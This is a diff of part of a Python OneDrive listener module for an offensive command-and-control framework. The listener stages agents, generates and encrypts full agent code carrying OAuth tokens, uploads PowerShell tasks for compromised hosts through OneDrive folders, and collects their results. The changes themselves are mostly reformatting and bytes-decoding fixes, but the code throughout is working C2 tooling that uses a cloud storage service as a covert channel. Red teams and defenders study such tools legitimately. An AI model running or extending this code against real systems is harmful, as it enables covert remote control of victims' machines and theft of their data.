s.delete("%s/drive/items/%s" % (base_url, item['id']))
|
682 | 710 |
|
683 | |
if stage == '3': #Download stage 3, upload stage 4 (full agent code)
|
684 | |
message = "[*] Downloading {}/{}/{}, {} bytes".format(base_folder, staging_folder, item['name'], item['size'])
|
|
711 |
if stage == '3': # Download stage 3, upload stage 4 (full agent code)
|
|
712 |
message = "[*] Downloading {}/{}/{}, {} bytes".format(base_folder, staging_folder,
|
|
713 |
item['name'], item['size'])
|
685 | 714 |
signal = json.dumps({
|
686 | 715 |
'print': False,
|
687 | 716 |
'message': message
|
688 | 717 |
})
|
689 | 718 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
690 | 719 |
content = s.get(item['@microsoft.graph.downloadUrl']).content
|
691 | |
lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
|
|
720 |
lang, return_val = \
|
|
721 |
self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
|
692 | 722 |
|
693 | 723 |
session_key = self.mainMenu.agents.agents[agent_name]['sessionKey']
|
694 | |
agent_token = renew_token(client_id, client_secret, token['refresh_token']) #Get auth and refresh tokens for the agent to use
|
695 | |
agent_code = str(self.generate_agent(listener_options, client_id, client_secret, agent_token['access_token'],
|
696 | |
agent_token['refresh_token'], redirect_uri, lang))
|
|
724 |
agent_token = renew_token(client_id, client_secret, token[
|
|
725 |
'refresh_token']) # Get auth and refresh tokens for the agent to use
|
|
726 |
agent_code = str(self.generate_agent(listener_options, client_id, client_secret,
|
|
727 |
agent_token['access_token'],
|
|
728 |
agent_token['refresh_token'], redirect_uri, lang))
|
697 | 729 |
enc_code = encryption.aes_encrypt_then_hmac(session_key, agent_code)
|
698 | 730 |
|
699 | |
message = "[*] Uploading {}/{}/{}_4.txt, {} bytes".format(base_folder, staging_folder, agent_name, str(len(enc_code)))
|
700 | |
signal = json.dumps({
|
701 | |
'print': False,
|
702 | |
'message': message
|
703 | |
})
|
704 | |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
705 | |
s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=enc_code)
|
|
731 |
message = "[*] Uploading {}/{}/{}_4.txt, {} bytes".format(base_folder, staging_folder,
|
|
732 |
agent_name, str(len(enc_code)))
|
|
733 |
signal = json.dumps({
|
|
734 |
'print': False,
|
|
735 |
'message': message
|
|
736 |
})
|
|
737 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
|
738 |
s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (
|
|
739 |
base_url, base_folder, staging_folder, agent_name), data=enc_code)
|
706 | 740 |
message = "[*] Deleting {}/{}/{}".format(base_folder, staging_folder, item['name'])
|
707 | 741 |
signal = json.dumps({
|
708 | 742 |
'print': False,
|
|
712 | 746 |
s.delete("%s/drive/items/%s" % (base_url, item['id']))
|
713 | 747 |
|
714 | 748 |
except Exception as e:
|
715 | |
print(helpers.color("[!] Could not handle agent staging for listener %s, continuing" % listener_name))
|
|
749 |
print(helpers.color(
|
|
750 |
"[!] Could not handle agent staging for listener %s, continuing" % listener_name))
|
716 | 751 |
message = traceback.format_exc()
|
717 | 752 |
signal = json.dumps({
|
718 | 753 |
'print': False,
|
|
721 | 756 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
722 | 757 |
|
723 | 758 |
agent_ids = self.mainMenu.agents.get_agents_for_listener(listener_name)
|
724 | |
for agent_id in agent_ids: #Upload any tasks for the current agents
|
725 | |
task_data = self.mainMenu.agents.handle_agent_request(agent_id, 'powershell', staging_key, update_lastseen=False)
|
|
759 |
|
|
760 |
for agent_id in agent_ids: # Upload any tasks for the current agents
|
|
761 |
if isinstance(agent_id,bytes):
|
|
762 |
agent_id = agent_id.decode('UTF-8')
|
|
763 |
task_data = self.mainMenu.agents.handle_agent_request(agent_id, 'powershell', staging_key,
|
|
764 |
update_lastseen=True)
|
726 | 765 |
if task_data:
|
727 | 766 |
try:
|
728 | |
r = s.get("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id))
|
729 | |
if r.status_code == 200: # If there's already something there, download and append the new data
|
|
767 |
r = s.get("%s/drive/root:/%s/%s/%s.txt:/content" % (
|
|
768 |
base_url, base_folder, taskings_folder, agent_id))
|
|
769 |
if r.status_code == 200: # If there's already something there, download and append the new data
|
730 | 770 |
task_data = r.content + task_data
|
731 | 771 |
|
732 | 772 |
message = "[*] Uploading agent tasks for {}, {} bytes".format(agent_id, str(len(task_data)))
|
|
735 | 775 |
'message': message
|
736 | 776 |
})
|
737 | 777 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
738 | |
|
739 | |
r = s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = task_data)
|
|
778 |
|
|
779 |
r = s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (
|
|
780 |
base_url, base_folder, taskings_folder, agent_id), data=task_data)
|
740 | 781 |
except Exception as e:
|
741 | 782 |
message = "[!] Error uploading agent tasks for {}, {}".format(agent_id, e)
|
742 | 783 |
signal = json.dumps({
|
|
746 | 787 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
747 | 788 |
|
748 | 789 |
search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, results_folder))
|
749 | |
for item in search.json()['children']: #For each file in the results folder
|
|
790 |
for item in search.json()['children']: # For each file in the results folder
|
750 | 791 |
try:
|
751 | 792 |
agent_id = item['name'].split(".")[0]
|
752 | |
if not agent_id in agent_ids: #If we don't recognize that agent, upload a message to restage
|
753 | |
print(helpers.color("[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name'])))
|
754 | |
s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = "RESTAGE")
|
|
793 |
|
|
794 |
for i in range(len(agent_ids)):
|
|
795 |
agent_ids[i] = agent_ids[i].decode('UTF-8')
|
|
796 |
|
|
797 |
if not agent_id in agent_ids: # If we don't recognize that agent, upload a message to restage
|
|
798 |
print(helpers.color(
|
|
799 |
"[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name'])))
|
|
800 |
s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (
|
|
801 |
base_url, base_folder, taskings_folder, agent_id), data="RESTAGE")
|
755 | 802 |
s.delete("%s/drive/items/%s" % (base_url, item['id']))
|
756 | 803 |
continue
|
757 | 804 |
|
758 | |
try: #Update the agent's last seen time, from the file timestamp
|
|
805 |
try: # Update the agent's last seen time, from the file timestamp
|
759 | 806 |
seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%S.%fZ")
|
760 | |
except: #sometimes no ms for some reason...
|
|
807 |
except: # sometimes no ms for some reason...
|
761 | 808 |
seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%SZ")
|
762 | 809 |
seen_time = helpers.utc_to_local(seen_time)
|
763 | 810 |
self.mainMenu.agents.update_agent_lastseen_db(agent_id, seen_time)
|
764 | 811 |
|
765 | |
#If the agent is just checking in, the file will only be 1 byte, so no results to fetch
|
766 | |
if(item['size'] > 1):
|
767 | |
message = "[*] Downloading results from {}/{}, {} bytes".format(results_folder, item['name'], item['size'])
|
|
812 |
# If the agent is just checking in, the file will only be 1 byte, so no results to fetch
|
|
813 |
if (item['size'] > 1):
|
|
814 |
message = "[*] Downloading results from {}/{}, {} bytes".format(results_folder,
|
|
815 |
item['name'], item['size'])
|
768 | 816 |
signal = json.dumps({
|
769 | 817 |
'print': False,
|
770 | 818 |
'message': message
|
771 | 819 |
})
|
772 | 820 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
773 | 821 |
r = s.get(item['@microsoft.graph.downloadUrl'])
|
774 | |
self.mainMenu.agents.handle_agent_data(staging_key, r.content, listener_options, update_lastseen=False)
|
|
822 |
self.mainMenu.agents.handle_agent_data(staging_key, r.content, listener_options,
|
|
823 |
update_lastseen=True)
|
775 | 824 |
message = "[*] Deleting {}/{}".format(results_folder, item['name'])
|
776 | 825 |
signal = json.dumps({
|
777 | 826 |
'print': False,
|
|
797 | 846 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
798 | 847 |
|
799 | 848 |
s.close()
|
800 | |
|
801 | 849 |
|
802 | 850 |
def start(self, name=''):
|
803 | 851 |
"""
|
|
820 | 868 |
# returns True if the listener successfully started, false otherwise
|
821 | 869 |
return self.threads[name].is_alive()
|
822 | 870 |
|
823 | |
|
824 | 871 |
def shutdown(self, name=''):
|
825 | 872 |
"""
|
826 | 873 |
Terminates the server thread stored in the self.threads dictionary,
|
|
832 | 879 |
self.threads[name].kill()
|
833 | 880 |
else:
|
834 | 881 |
print(helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])))
|
835 | |
self.threads[self.options['Name']['Value']].kill()
|
836 | |
|
|
882 |
self.threads[self.options['Name']['Value']].kill()⏎
|